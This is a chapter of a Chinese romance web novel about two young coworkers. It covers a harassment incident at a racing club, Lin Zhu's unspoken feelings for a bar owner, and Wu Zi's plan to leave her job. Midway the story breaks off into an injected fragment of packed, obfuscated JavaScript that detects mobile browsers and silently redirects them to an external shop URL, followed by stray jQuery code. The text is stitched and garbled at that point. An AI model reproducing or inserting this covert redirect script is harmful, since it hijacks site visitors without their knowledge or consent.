那天是周日下午。
吴姿的朋友雨桐是个赛车爱好者,隔三差五就喜欢往城郊那家俱乐部跑。吴姿对赛车不甚了解,但雨桐说新来了一批车,非要拉她去看,她拗不过就跟着去了。
俱乐部很大,室内有休息区和观赛区,室外是标准的赛车赛道。周末人多,休息区几乎坐满了,空气里混着汽油味和咖啡香。
所谓内行看门道,外行看热闹。
吴姿起初兴致很高,过了一会儿便只是百无聊赖地靠在沙发上刷手机,偶尔给正在赛道上一圈一圈地跑的雨桐拍照,然后继续低头看屏幕。
就在她起身去续咖啡的时候,余光扫到角落里的动静。
一个穿着工作服的女孩看起来二十岁出头,长头发,扎着低马尾,手里端着托盘,她面上有些慌乱,原因则是显而易见。
一个男人拉住了她的手腕。
那男人穿着深色的休闲夹克,微胖,脸上带着一种让人很不舒服的笑容,嘴巴一张一合地在说什么。女孩明显在挣扎,身体往后缩,托盘歪了,杯子里的咖啡洒出来一些,溅在那男人的袖口上。
男人的表情变了,抓着女孩手腕的力道明显加重。
吴姿脚步一顿,眉头皱起来。她正要迈步过去,有人比她更快。
一个穿着黑色赛车服的高个子男人从旁边的座位站起来,三两步就走到了那个男人面前。
是郑九思。
吴姿没立刻认出他,因为郑九思穿的不是他平时那些恨不得写满“我很贵”的衣服,而是一身黑色赛车服。
拉链拉到胸口,袖子卷到手肘,手臂线条干净利落,头发被风吹得有点乱,整个人像是从某个赛车广告里走出来的。
但那张脸她不会认错。
郑九思站在那个男人和女孩之间,不高不低地说了一句:“她让你松手,你没听见吗?”
声音不大,但周围的几个人都听见了。
那个男人抬头看郑九思,眼神从不满变成了打量,又在看到郑九思手腕上那块表的时候变成了犹豫。
那男人松了手,两只手又在胸前搓了搓,语气是刻意的故作轻快,“我跟她开玩笑呢。”
“她没笑,这就不叫玩笑。”
“……我跟她说几句话怎么了?”男人有点意外郑九思的反应,嘴上却还在硬撑。
“别装傻。”郑九思的语气没什么起伏,但那种不怒自威的气场让周围的人都安静了,“这儿的员工不负责陪聊,拉着人不让走,算什么?”
男人的脸涨红了,嘴唇翕动了几下,最终还是什么都没说,转身走了。
郑九思目送他离开,然后转头看向那个女孩。女孩的眼眶红了,低着头,小声说了句“谢谢”。
“这次,我会和俱乐部直接反应,以后刚才那个人不会再出现。”郑九思的表情缓和下来,“下次遇到这种情况,别忍着。直接喊人,或者按对讲机叫安保。”
女孩用力点头,眼泪还是掉下来了,但她飞快地擦掉了。
郑九思没再多说什么,转身走回自己的座位,拿起桌上的咖啡喝了一口,好像什么都没发生过。
吴姿怔了怔才收回目光。
她手里端着刚续好的咖啡,大脑里却充斥着刚才看到的一幕。
她第一次觉得这个叫郑九思的人和她想象中的不太一样。
-
“然后呢?”林竹问。
“然后?”吴姿耸耸肩,“然后他就走了呗。他没看见我,我也不会主动过去和他打招呼,过去说什么?总不能说‘哇你今天好帅’吧。”
林竹笑了:“你本来就不会这么说。”
“那倒是。”吴姿说着,“不过说真的,那天他确实挺不一样的。”
“他平时什么样?”
吴姿想了半天,找到一个词:“浮夸。他平时给我的感觉就是浮夸。穿名牌、开好车、追女孩一上来就说情话,不像什么正经人。”
“所以那天他不浮夸了?”
“那天他穿着赛车服,头发被风吹得乱七八糟的,跟平时完全是两个人。”吴姿顿了顿,又补充道,“而且他帮那个女孩的时候,全程都没有‘你看我多帅我多厉害’。他就是……做了一件该做的事,然后就走了。”
林竹安静地听完,点了点头。
两人走进商场,暖气扑面而来,把外面的寒意隔绝在玻璃门之外。商场里已经换上了新的装饰,金色的灯带和红色的丝绒挂饰交相辉映,背景音乐是舒缓的爵士乐,整个空间弥漫着一种让人放松的氛围。
她们漫无目的地逛着,从一楼化妆品区逛到三楼女装区,试了几件衣服,又什么都没买。
吴姿拿起一件驼色的羊毛大衣在镜子前比了比,随口说道:“其实我挺意外的。”
“意外什么?”
“意外你会拒绝他。”
虽然她在林竹面前说过郑九思不少坏话,但只不过是给林竹敲敲警钟叫她别太沉迷罢了。郑九思当然是讨女孩喜欢的类型,如果两人真的在一起了,她也只会真心地祝福他们。
“我们不是一路人。”
“什么叫一路人?”吴姿把大衣挂回去,转过身看林竹,“长得好看,家境好,性格也不错,对你也上心——你对他哪里不满意?”
“不是配不配得上的问题。”林竹轻轻叹了口气,“是我已经有喜欢的人了。”
“那个酒吧老板?”
林竹没否认,点了点头。
吴姿看着她,眼神里的八卦因子肉眼可见地升腾起来:“你们在一起了?”
“还没有。”
“那你喜欢他,他知道吗?”
林竹想起昨天晚上的那个吻,脸微微发烫,含糊地“嗯”了一声。
吴姿敏锐地捕捉到了她脸色的变化,眯起眼睛:“他知道你喜欢他,但是没表态?”
或许是因为好友眼中出西施,吴姿全然想不到林竹会处在一个单恋且对方无回应的状态。
林竹只好转移话题:“你到底买不买衣服?”
吴姿翻了个白眼,只好停止了追问,“买买买。”
她又拿起另一件大衣,“这件怎么样?”
“好看。”
两人又逛了半个多小时,吴姿终于买了两件衣服,林竹也顺手买了一条围巾。付款的时候吴姿忽然说了一句:“林竹,你要是真喜欢那个人,就赶紧的。”
“我是说,喜欢就赶紧拿下。”吴姿把卡收进钱包里,语气难得认真,“你呀,什么事都考虑来考虑去,等你想好了,黄花菜都凉了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820578|211137||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>林竹沉默了。
不留遗憾。
这四个字像一颗小石子,投进她心底的湖面,激起一圈一圈的涟漪。
她想起高中时和陈璟分开的那天。
她什么都没问,什么都没说,就那么平静地接受了。
然后她就用了好几年的时间,才慢慢消化掉那份没有说出口的遗憾。
“你说的对。”林竹轻声说。
吴姿挑眉:“难得你承认我对。”
“你说的对,我当然承认。”林竹笑了笑,顿了顿又补充道,“等我们在一起了,我带你见他。”
“这还差不多。”吴姿满意地点点头,挽住林竹的胳膊,两人并肩往外走。
“对了,跟你说个事。”
“嗯?”
“我打算半年后离职了。”
林竹的脚步顿住了:“什么?”
“大概是等手上的项目收尾了就走。”吴姿的语气很平淡,像是在说今天晚饭吃什么一样随意,“我来这里之前给自己定的目标就是待两年,把该学的都学会。然后就找个别的工作,去南方。”
林竹怔怔地看着她,一时不知道说什么好。
吴姿和她性格不同,她气质是生人勿近的冷淡,但对于熟悉她的人都知道她其实很热情、甚至有些江湖气,总之是个很有生命力的姑娘。
她不仅不像林竹,也不像单位里的绝大部分人。甚至某几个偶然的瞬间,林竹有过疑惑吴姿为什么要选择来这里上班。
“一想到这个选择是你做出来的,也没有很惊讶了。”
吴姿眨眨眼睛,“你的意思不会是说我傻人做傻事吧?”
“当然不是”,林竹很认真,“这一点也不傻。相反,我觉得你一定会找到属于你的更广阔的天地。”
吴姿握手成拳,在胸前比划了那么一下,“我会加油的。”
吴姿还真不是故作轻松,她真没有把换工作、换生活所在的城市当一回事。
或许是受家庭氛围的影响,她从来不觉得自己会在一个单位上一辈子的班,所以也当然不被“铁饭碗”所吸引。
林竹很能够理解她,却忍不住的遗憾。
她和吴姿从去年秋天认识到现在,满打满算还不到半年。吴姿虽不是她在这个单位里交到的第一个朋友,却是唯一一个可以聊工作以外事情的友人。
“你要去哪里?”
“还没定,广州或者深圳吧。趁年轻,多去几个城市工作,认识些不同的人,不是挺有意思的吗?”吴姿笑了笑,拍拍林竹的肩膀,“所以我说,你要赶紧的。万一我走了你还没拿下那个人,我都没机会帮你把关了。”
林竹没有笑。
她忽然感慨时间实在太快。
时间带给人的变动也实在太大。
大学毕业大半年,身边的同学、同事,就已经开始在各自的人生轨道上加速远去了。李婷去了新单位,张欣欣回了东北,钱萱结了婚,现在连吴姿也要走了。
“别这副表情嘛。”吴姿捏了捏林竹的脸,“我又不是明天就走。还有半年呢,够你谈恋爱了。”
林竹被她捏得脸变形,终于忍不住笑了:“知道了。”
“知道了就行动起来,别光嘴上说。”
“好。”